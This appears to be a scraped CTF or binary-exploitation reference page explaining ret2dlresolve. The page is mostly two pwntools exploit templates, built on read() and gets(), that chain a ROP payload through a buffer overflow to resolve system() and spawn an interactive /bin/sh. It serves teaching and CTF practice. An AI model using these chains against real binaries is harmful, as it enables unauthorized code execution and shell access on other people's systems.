ret2dlresolve
A way to exploit buffer overflows using ROP when not many gadgets are available, and Full RELRO is disabled
PwnTools
read()
read()gets()
gets()Last updated
A way to exploit buffer overflows using ROP when not many gadgets are available, and Full RELRO is disabled
read()gets()Last updated
rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret) # Align stack (64-bit)
rop.read(0, dlresolve.data_addr) # Call read function to write data
rop.ret2dlresolve(dlresolve) # Write data
p.sendline(flat({
OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload) # Run /bin/sh
p.interactive()rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret) # Align stack (64-bit)
rop.gets(dlresolve.data_addr) # Call read function to write data
rop.ret2dlresolve(dlresolve) # Write data
p.sendline(flat({
OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload) # Run /bin/sh
p.interactive()